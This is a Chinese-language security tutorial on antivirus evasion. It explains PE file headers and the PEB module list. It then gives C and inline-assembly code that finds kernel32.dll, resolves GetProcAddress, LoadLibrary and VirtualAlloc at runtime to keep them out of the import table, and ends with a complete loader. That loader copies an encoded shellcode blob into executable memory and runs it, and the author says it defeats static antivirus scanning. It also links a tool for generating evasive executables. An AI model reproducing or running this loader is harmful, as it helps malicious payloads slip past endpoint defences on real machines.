|
No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
前言
针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases]
工具界面如下:
效果如下:
在第二章节中我们学习了如何调用API,但是无论怎样调用,IAT 表中还是会出现我们调用的 API (加密会在后面章节中介绍)。这一章节,我们将学习动态加载技术,这种技术可以让我们脱离复杂的导入表结构,在程序空间中构造类似导入表的调用引入函数机制。动态加载技术的核心是对被调用函数的地址的获取,调用函数位于动态链接库中。
**基础知识全部来自《Windows PE权威指南》,我只摘抄了对理解本章节有用的部分,原书讲的更加全面彻底,强烈推荐阅读。**这些知识将在本章节及以后的章节中用到。
No.3
PE 基础概念
地址
PE 中涉及的地址有四类,分别是:
✦虚拟内存地址 VA
✦相对虚拟内存地址 RVA
✦文件偏移地址 FOA
✦特殊地址
虚拟内存地址 VA
用户的PE文件被操作系统加载进内存后,PE对应的进程支配了自己独立的4GB虚拟空间。在这个空间中定位的地址称为虚拟内存地址(Virtual Address,VA),所以虚拟内存地址的范围是 00000000h ~ 0fffffffj 。在PE中,进程本身的VA被解释为:进程的基地址 + 相对虚拟内存地址。
相对虚拟内存地址 RVA
一个进程被操作系统加载到虚拟内存空间后,其相关的DLL也会被加载。这些同时加载到进程地址空间的文件称为 模块。每一个模块在加载时都有一个基地址,也就是预先告诉操作系统,他会占用4GB空间的哪个部分。相对虚拟地址(Reverse Virtual Address,RVA)是相对于基地址的偏移,即RVA是虚拟内存中用来定位某个特定位置的地址,该地址的值是这个特定位置距离某个模块基地址的偏移量,所以说RVA是针对某个模块而存在的。记住,RVA是相对于模块而言的,VA是相对于整个地址空间而言的。
文件偏移地址 FOA
文件偏移地址(File Offset Address,FOA)和内存无关,它是指某个位置距离文件头的偏移。
特殊地址
在 PE 结构中还有一种特殊地址,其计算方法并不是从文件头算起,也不是从内存的某个模块的基地址算起,而是从某个特定的位置算起。这种地址在 PE 结构中很少见,如在资源表里就出现过这样的地址。
指针
PE 数据结构中的指针的定义:如果数据结构中某个字段存储的值为一个地址,那么这个字段就是一个指针。
数据目录
PE 中有一个数据结构称为 数据目录,其中记录了所有可能出现的数据类型。这些类型中,目前已定义的有15种,包括导出表、导入表、资源表、异常表、属性证书表、重定位表、调试数据、Architecture、Global Ptr、线程局部存储、加载配置表、绑定导入表、IAT、延迟导入表和CLR运行头部。
No.4
PE 文件结构(32位)
PE的文件结构如图:
图片来自 https://bbs.pediy.com/thread-252795.htm
1. DOS MZ 头 IMAGE_DOS_HEADER
具体定义如下(偏移基于 IMAGE_NT_HEADERS 头):
- typedef struct _IMAGE_DOS_HEADER {
- // DOS .EXE header
- WORD e_magic; // Magic number 固定为"MZ" 即, 4Dh 5Ah
- WORD e_cblp; // Bytes on last page of file
- WORD e_cp; // Pages in file
- WORD e_crlc; // Relocations
- WORD e_cparhdr; // Size of header in paragraphs
- WORD e_minalloc; // Minimum extra paragraphs needed
- WORD e_maxalloc; // Maximum extra paragraphs needed
- WORD e_ss; // Initial (relative) SS value
- WORD e_sp; // Initial SP value
- WORD e_csum; // Checksum
- WORD e_ip; // Initial IP value
- WORD e_cs; // Initial (relative) CS value
- WORD e_lfarlc; // File address of relocation table
- WORD e_ovno; // Overlay number
- WORD e_res[4]; // Reserved words
- WORD e_oemid; // OEM identifier (for e_oeminfo)
- WORD e_oeminfo; // OEM information; e_oemid specific
- WORD e_res2[10]; // Reserved words
- LONG e_lfanew; // File address of new exe header 指向PE头
- } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
复制代码 2. PE 头标识 Signature
紧跟在DOS Stub后面的是 PE 头标识 Signature。与大部分文件格式的头部结构一样,PE 头部信息中有一个四字节的标识,该标识位于指针 IMAGE_DOS_HEADER.e_lfanew 指向的位置。其内容固定,对应于ASCII码的字符串 “PE\0\0” 。
3. 标准 PE 头 IMAGE_FILE_HEADER
标准PE头IMAGE_FILE_HEADER紧跟在PE头标识后,即位于IMAGE_DOS_HEADER的e_lfanew值+4的位置。由此位置开始的20个字节为数据结构标准PE头IMAGE_FILE_HEADER的内容。该结构在微软的官方文档中被称为标准通用对象文件格式(Common Object File Format,COFF)。它记录了 PE 文件的全局属性,如该 PE 文件运行的平台、文件类型(EXE 或 DLL)、文件中存在的节的总数等,其详细定义如下:
- typedef struct _IMAGE_FILE_HEADER {
- +04h WORD Machine; // 运行平台
- +06h WORD NumberOfSections; // 文件的区块数目
- +08h DWORD TimeDateStamp; // 文件创建日期和时间
- +0Ch DWORD PointerToSymbolTable; // 指向符号表(主要用于调试)
- +10h DWORD NumberOfSymbols; // 符号表中符号个数(同上)
- +14h WORD SizeOfOptionalHeader; // IMAGE_OPTIONAL_HEADER32 结构大小
- +16h WORD Characteristics; // 文件属性
- } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
复制代码 该结构常用于判断 PE 文件是 EXE 类型还是 DLL 类型。偏移基于 IMAGE_NT_HEADERS 头。
4. 扩展 PE 头 IMAGE_OPTIONAL_HEADER32
重点内容。重点字段将在后面详细展开。
- typedef struct _IMAGE_OPTIONAL_HEADER {
- WORD Magic; **魔术字 偏移0x00
- BYTE MajorLinkerVersion; **链接器主版本 偏移0x02
- BYTE MinorLinkerVersion; **链接器副版本 偏移0x03
- DWORD SizeOfCode; **所有含代码的节的总大小 偏移0x04
- DWORD SizeOfInitializedData; **所有含初始数据的节的总大小 偏移0x08
- DWORD SizeOfUninitializedData; **所有含未初始数据的节的总大小 偏移0x0C
- DWORD AddressOfEntryPoint; **程序执行入口地址 偏移0x10 重要
- DWORD BaseOfCode; **代码节的起始地址 偏移0x14
- DWORD BaseOfData; **数据节的起始地址 偏移0x18
- DWORD ImageBase; **程序首选装载地址 偏移0x1C 重要
- DWORD SectionAlignment; **内存中节区对齐大小 偏移0x20 重要
- DWORD FileAlignment; **文件中节区对齐大小 偏移0x24 重要
- WORD MajorOperatingSystemVersion; **操作系统的主版本号 偏移0x28
- WORD MinorOperatingSystemVersion; **操作系统的副版本号 偏移0x2A
- WORD MajorImageVersion; **镜像的主版本号 偏移0x2C
- WORD MinorImageVersion; **镜像的副版本号 偏移0x2E
- WORD MajorSubsystemVersion; **子系统的主版本号 偏移0x30
- WORD MinorSubsystemVersion; **子系统的副版本号 偏移0x32
- DWORD Win32VersionValue; **保留,必须为0 偏移0x34
- DWORD SizeOfImage; **镜像大小 偏移0x38 重要
- DWORD SizeOfHeaders; **PE头大小 偏移0x3C 重要
- DWORD CheckSum; **校验和 偏移0x40
- WORD Subsystem; **子系统类型 偏移0x44
- WORD DllCharacteristics; **DLL文件特征 偏移0x46
- DWORD SizeOfStackReserve; **栈的保留大小 偏移0x48
- DWORD SizeOfStackCommit; **栈的提交大小 偏移0x4C
- DWORD SizeOfHeapReserve; **堆的保留大小 偏移0x50
- DWORD SizeOfHeapCommit; **堆的提交大小 偏移0x54
- DWORD LoaderFlags; **保留,必须为0 偏移0x58
- DWORD NumberOfRvaAndSizes; **数据目录的项数 偏移0x5C
- IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
- } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
复制代码 5. PE 头 IMAGE_NT_HEADERS
广义 PE 头。它包含上面三个头,即 IMAGE_NT_HEADERS = 4个字节的 PE 标志 + IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER32 。其字段我们将在后面详细展开。
6. 数据目录项 IMAGE_DATA_DIRECTORY
IMAGE_OPTIONAL_HEADER32(扩展PE头)结构的最后一个字段为DataDirectory。该字段定义了PE文件中出现的所有不同类型的数据的目录信息。
7. 节表项 IMAGE_SECTION_HEADER
PE 头 IMAGE_NT_HEADERS 后紧跟着节表。它由许多个节表项(IMAGE_SECTION HEADER)组成,每个节表项记录了PE中与某个特定的节有关的信息,如节的属性、节的大小、在文件和内存中的起始位置等。节表中节的数量由字段 IMAGE_FILE_HEADER.NumberOfSections 来定义。节表项的数据结构详细定义如下:
- typedef struct _IMAGE_SECTION_HEADER
- {
- +0h BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 节表名称,如“.text”
- //IMAGE_SIZEOF_SHORT_NAME=8
- union
- +8h {
- DWORD PhysicalAddress; // 物理地址
- DWORD VirtualSize; // 真实长度,这两个值是一个联合结构,可以使用其中的任何一个,一
- // 般是取后一个
- } Misc;
- +ch DWORD VirtualAddress; // 节区的 RVA 地址
- +10h DWORD SizeOfRawData; // 在文件中对齐后的尺寸
- +14h DWORD PointerToRawData; // 在文件中的偏移量
- +18h DWORD PointerToRelocations; // 在OBJ文件中使用,重定位的偏移
- +1ch DWORD PointerToLinenumbers; // 行号表的偏移(供调试使用地)
- +1eh WORD NumberOfRelocations; // 在OBJ文件中使用,重定位项数目
- +20h WORD NumberOfLinenumbers; // 行号表中行号的数目
- +24h DWORD Characteristics; // 节属性如可读,可写,可执行等
- } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
复制代码 No.5
扩展PE头
IMAGE_OPTIONAL_HEADER32 的字段
IMAGE_OPTIONAL_HEADER32.ddressOfEntryPoint
+0028h,双字。在Windows中,可执行程序运行在虚拟地址空间中,由于4GB空间对于程序是唯一的,所以这里的虚拟空间可以简单地理解为真实的地址(我们暂且忘记物理内存地址的概念,这样就不需要理解页面调度机制了)。该字段的值是一个RVA,它记录了启动代码距离该PE加载后的起始位置到底有多少个字节。
如果在一个可执行文件中附加了一段自己的代码,并且想让这段代码首先被执行,一般都要修改这里的值使之指向自己的代码位置。对于一般程序映像来说,它就是启动地址;对于设备驱动程序来说,它是初始化函数的地址。入口点对于DLL来说是可选的,如果不存在入口点,这个字段必须设置为0。
IMAGE OPTIONAL HEADER32.BaseOfCode
+002Ch,双字。代码节的起始RVA,表示映像被加载进内存时代码节的开头相对于映像基址的偏移地址。一般情况下,代码节紧跟在PE头部后面,节的名称通常为“.text”。
IMAGE_OPTIONAL_HEADER32.BaseOfData
+0030h,双字。数据节的起始RVA,表示映像被加载进内存时数据节的开头相对于映像基地址的偏移地址。一般情况下,数据节位于文件末尾,节的名称通常为“.data”。
IMAGE_OPTIONAL_HEADER32.ImageBase
该成员指定了文件被执行时优先被装入的地址,如果这个地址已经被占用,那么程序装载器就会将它载入其他地址。当文件被载入其他地址后,就必须通过重定位表进行资源的重定位,这就会变慢文件的载入速度。而装载到ImageBase指定的地址就不会进行资源重定位。
对于EXE文件来说,由于每个文件总是使用独立的虚拟地址空间,优先装入地址不可能被其他模块占据,所以EXE总是能够按照这个地址装入,这也意味着EXE文件不再需要重定位信息。对于DLL文件来说,由于多个DLL文件全部使用宿主EXE文件的地址空间,不能保证优先装入地址没有被其他的DLL使用,所以DLL文件中必须包含重定位信息以防万一。因此,在前面介绍的 IMAGE_FILE_HEADER 结构的 Characteristics 成员中,DLL 文件对应的IMAGE_FILE_RELOCS_STRIPPED位总是为0,而EXE文件的这个标志位总是为1。
No.6
动态加载流程
从第二章中我们用 GetProcAddress 和 LoadLibrary 替换 VirtualAlloc 可以看出来,只要我们能够使用这两个函数,就可以调用任何 dll,而且,无论我们是否主动调用,Kernel32 都会被调用,所以,动态加载流程就分成了三步,首先是获取 kernel32.dll 的基址,然后获取 GetProcAddress 和 LoadLibrary 的地址,最后用获取的地址加载任何 dll,调用任何函数。
关于获取 Kernel32.dll 基址,《Windows PE权威指南》中给出了四种方法,几种方法各有利弊,我们选择通过 PEB 获取 Kernel32 基址。
PEB 即进程环境块,它记录了与进程相关的各种结构,其中包含了该进程加载的其他模块的地址。其数据结构如下:
- typedef struct _PEB
- {
- UCHAR InheritedAddressSpace; // 00h
- UCHAR ReadImageFileExecOptions; // 01h
- UCHAR BeingDebugged; // 02h 进程是否处于调试状态
- UCHAR Spare; // 03h
- PVOID Mutant; // 04h
- PVOID ImageBaseAddress; // 08h 进程映像基地址
- PPEB_LDR_DATA Ldr; // 0Ch 加载的其他模块信息
- PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10h
- PVOID SubSystemData; // 14h
- PVOID ProcessHeap; // 18h
- PVOID FastPebLock; // 1Ch
- PPEBLOCKROUTINE FastPebLockRoutine; // 20h
- PPEBLOCKROUTINE FastPebUnlockRoutine; // 24h
- ULONG EnvironmentUpdateCount; // 28h
- PVOID* KernelCallbackTable; // 2Ch
- PVOID EventLogSection; // 30h
- PVOID EventLog; // 34h
- PPEB_FREE_BLOCK FreeList; // 38h
- ULONG TlsExpansionCounter; // 3Ch
- PVOID TlsBitmap; // 40h
- ULONG TlsBitmapBits[0x2]; // 44h
- PVOID ReadOnlySharedMemoryBase; // 4Ch
- PVOID ReadOnlySharedMemoryHeap; // 50h
- PVOID* ReadOnlyStaticServerData; // 54h
- PVOID AnsiCodePageData; // 58h
- PVOID OemCodePageData; // 5Ch
- PVOID UnicodeCaseTableData; // 60h
- ULONG NumberOfProcessors; // 64h
- ULONG NtGlobalFlag; // 68h
- UCHAR Spare2[0x4]; // 6Ch
- LARGE_INTEGER CriticalSectionTimeout; // 70h
- ULONG HeapSegmentReserve; // 78h
- ULONG HeapSegmentCommit; // 7Ch
- ULONG HeapDeCommitTotalFreeThreshold; // 80h
- ULONG HeapDeCommitFreeBlockThreshold; // 84h
- ULONG NumberOfHeaps; // 88h
- ULONG MaximumNumberOfHeaps; // 8Ch
- PVOID** ProcessHeaps; // 90h
- PVOID GdiSharedHandleTable; // 94h
- PVOID ProcessStarterHelper; // 98h
- PVOID GdiDCAttributeList; // 9Ch
- PVOID LoaderLock; // A0h
- ULONG OSMajorVersion // A4h
- ULONG OSMinorVersion; // A8h
- ULONG OSBuildNumber; // ACh
- ULONG OSPlatformId; // B0h
- ULONG ImageSubSystem; // B4h
- ULONG ImageSubSystemMajorVersion; // B8h
- ULONG ImageSubSystemMinorVersion; // C0h
- ULONG GdiHandleBuffer[0x22]; // C4h
- PVOID ProcessWindowStation; // ???
- }
复制代码 注意看第9行,Ldr 指向了一个结构,该结构的详细定义为:
- typedef struct _PEB_LDR_DATA
- {
- ULONG Length; // +0x00
- BOOLEAN Initialized; // +0x04
- PVOID SsHandle; // +0x08
- LIST_ENTRY InLoadOrderModuleList; // +0x0c
- LIST_ENTRY InMemoryOrderModuleList; // +0x14
- LIST_ENTRY InInitializationOrderModuleList;// +0x1c
- } PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
复制代码 注意看第6-8行,这是哪个 LIST_ENTRY 记录了当前进程加载的模块。其中,最后一个 LIST_ENTRY 中记录了进程初始化时加载的模块:这个列表包含了 ntdll.dll 和 kernel32.dll,而且大多数情况下,kernel32.dll 的基地址位于第二个地址处。LIST_ENTRY 指向了数据结构 _LDR_MODULE ,该结构详细定义如下:
- typedef struct _LDR_MODULE {
- LIST_ENTRY InLoadOrderModuleList;//代表按加载顺序构成的模块链表
- LIST_ENTRY InMemoryOrderModuleList;//代表按内存顺序构成的模块链表
- LIST_ENTRY InInitializationOrderModuleList;//代表按初始化顺序构成的模块链表
- PVOID BaseAddress;//该模块的基地址
- PVOID EntryPoint;//该模块的入口
- ULONG SizeOfImage;//该模块的影像大小
- UNICODE_STRING FullDllName;//包含路径的模块名
- UNICODE_STRING BaseDllName;//不包含路径的模块名
- ULONG Flags;
- SHORT LoadCount;//该模块的引用计数
- SHORT TlsIndex;
- HANDLE SectionHandle;
- ULONG CheckSum;
- ULONG TimeDateStamp;
- } LDR_MODULE, *PLDR_MODULE;
复制代码 No.7
实现
上面理好了流程,下面我们就码代码执行一遍整个流程。
获取 Kernel32 基地址
实现代码1:
- # include <Windows.h>
- int main(){
- HMODULE hModule;
- _asm
- {
- mov eax, fs:[0x30] //得到PEB地址,其实这里还有个TEB的概念,但是只用到这一次,为了防止混乱,就不再解释了
- mov eax, [eax + 0xc]//指向PEB_LDR_DATA结构的首地址
- mov eax, [eax + 0x1c]//一个双向链表的地址
- mov eax, [eax]//得到第二个条目kernelBase的链表
- mov eax, [eax]//得到第三个条目kernel32链表(win10)
- mov eax, [eax + 0x8] //kernel32.dll地址
- mov hModule, eax
- }
- }
复制代码 实现代码2(和1差不多,只是没全用汇编):
- # include <Windows.h>
- //代码来自看雪论坛
- int main(){
- DWORD dwPEB;
- DWORD dwLDR;
- DWORD dwInitList;
- DWORD dwDllBase;//当前地址
- PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
- PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
- DWORD dwVirtualAddress;//导出表偏移地址
- PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
- PTCHAR lpName;//指向dll名字的指针
- TCHAR szKernel32[] = TEXT("KERNEL32.dll");
- TCHAR szBuffer[256];
- __asm
- {
- mov eax, FS:[0x30]//获取PEB所在地址
- mov dwPEB, eax
- }
- dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
- dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
- //第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针
- for (;
- dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
- dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
- )
- {
- pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
- pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
- dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
- pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
- lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字
- if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
- {
- //输出模块基地址
- wsprintf(szBuffer, TEXT("kernel32.dll的基地址为%08x"), dwDllBase);
- MessageBox(NULL, szBuffer, NULL, MB_OK);
- }
- }
- return 0;
- }
复制代码 两个的执行结果是一样的,这个结果在不同的系统上执行结果可能是不一样的:
获取 LoadLibrary 与 GetProcAddress 地址
直接给出代码:
- # include<Windows.h>
- # include<stdio.h>
- /*
- 获取kernel32.dll的基地址
- 因为vc程序main函数之前会有初始化,所以不能通过堆栈栈顶值获取kernel32.dll中的地址
- 因此通过 PEB 结构获取Kernel32.dll基址
- 代码来自看雪论坛
- */
- DWORD _getKernelBase()
- {
- DWORD dwPEB;
- DWORD dwLDR;
- DWORD dwInitList;
- DWORD dwDllBase;//当前地址
- PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
- PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
- DWORD dwVirtualAddress;//导出表偏移地址
- PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
- PTCHAR lpName;//指向dll名字的指针
- TCHAR szKernel32[] = TEXT("KERNEL32.dll");
- __asm
- {
- mov eax, FS: [0x30]//获取PEB所在地址
- mov dwPEB, eax
- }
- dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
- dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
- //第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针
- for (;
- dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
- dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
- )
- {
- pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
- pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
- dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
- pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
- lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字
- if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
- {
- return dwDllBase;
- }
- }
- return 0;
- }
- /*
- 获取指定字符串的API函数的调用地址
- 入口参数:_hModule为动态链接库的基址
- _lpApi为API函数名的首址
- 出口参数:eax为函数在虚拟地址空间中的真实地址
- */
- DWORD _getApi(DWORD _hModule, PTCHAR _lpApi)
- {
- DWORD i;
- DWORD dwLen;
- PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
- PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
- DWORD dwVirtualAddress;//导出表偏移地址
- PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
- TCHAR** lpAddressOfNames;
- PWORD lpAddressOfNameOrdinals;//计算API字符串的长度
- for (i = 0; _lpApi[i]; ++i);
- dwLen = i;
- pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;
- pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);
- dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
- pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress);//导出表地址
- lpAddressOfNames = (TCHAR**)(_hModule + pImageExportDirectory->AddressOfNames);//按名字导出函数列表
- for (i = 0; _hModule + lpAddressOfNames[i]; ++i)
- {
- if (strlen(_hModule + lpAddressOfNames[i]) == dwLen &&
- !strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi
- {
- lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表
-
- return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))
- [lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址
- }
- }
- return 0;
- }
- int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow){
- DWORD kernel32Base;
- PROC _getProcAddress;
- DWORD lpLoadLib;
- TCHAR szBuffer[256];
- TCHAR szGetProcAddr[] = TEXT("GetProcAddress");
- TCHAR szLoadLib[] = TEXT("LoadLibraryA");
- kernel32Base = _getKernelBase();
- _getProcAddress = (PROC)_getApi(kernel32Base, szGetProcAddr);//为函数引用赋值 GetProcAddress
- lpLoadLib = _getProcAddress(kernel32Base, szLoadLib);
- printf("kernel32.dll在本程序地址空间的基地址为:%08x\n", kernel32Base);
- printf("GetProcAddress代码在本程序地址空间的首址为:%08x\n", _getProcAddress);
- printf("LoadLibraryA代码在本程序地址空间的首址为:%08x\n", lpLoadLib);
- return 0;
- }
复制代码 执行效果:
执行代码
执行代码如下:
- # include<Windows.h>
- # include<stdio.h>
- /*
- 获取kernel32.dll的基地址
- 因为vc程序main函数之前会有初始化,所以不能通过堆栈栈顶值获取kernel32.dll中的地址
- 因此通过 PEB 结构获取Kernel32.dll基址
- 部分代码来自看雪论坛
- */
- DWORD _getKernelBase()
- {
- DWORD dwPEB;
- DWORD dwLDR;
- DWORD dwInitList;
- DWORD dwDllBase;//当前地址
- PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
- PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
- DWORD dwVirtualAddress;//导出表偏移地址
- PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
- PTCHAR lpName;//指向dll名字的指针
- TCHAR szKernel32[] = TEXT("KERNEL32.dll");
- __asm
- {
- mov eax, FS: [0x30]//获取PEB所在地址
- mov dwPEB, eax
- }
- dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
- dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
- //第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针
- for (;
- dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
- dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
- )
- {
- pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
- pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
- dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
- pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
- lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字
- if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
- {
- return dwDllBase;
- }
- }
- return 0;
- }
- /*
- 获取指定字符串的API函数的调用地址
- 入口参数:_hModule为动态链接库的基址
- _lpApi为API函数名的首址
- 出口参数:eax为函数在虚拟地址空间中的真实地址
- */
- DWORD _getApi(DWORD _hModule, PTCHAR _lpApi)
- {
- DWORD i;
- DWORD dwLen;
- PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
- PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
- DWORD dwVirtualAddress;//导出表偏移地址
- PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
- TCHAR** lpAddressOfNames;
- PWORD lpAddressOfNameOrdinals;//计算API字符串的长度
- for (i = 0; _lpApi[i]; ++i);
- dwLen = i;
- pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;
- pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);
- dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
- pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress);//导出表地址
- lpAddressOfNames = (TCHAR**)(_hModule + pImageExportDirectory->AddressOfNames);//按名字导出函数列表
- for (i = 0; _hModule + lpAddressOfNames[i]; ++i)
- {
- if (strlen(_hModule + lpAddressOfNames[i]) == dwLen &&
- !strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi
- {
- lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表
- return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))
- [lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址
- }
- }
- return 0;
- }
- int main(){
- unsigned char shellcode[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";
- TCHAR szVirAlloc[] = TEXT("VirtualAlloc");
- typedef LPVOID(WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
- VirtualAllocB p = (VirtualAllocB)_getApi(_getKernelBase(), szVirAlloc);char* a = (char*)(*p)(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(a, shellcode, sizeof(shellcode));
- (*(void(*)())a)();
- return 0;
- }
复制代码 编译完成,可以正常执行我们的shellcode。此方法对付静态查杀效果极好。
|
|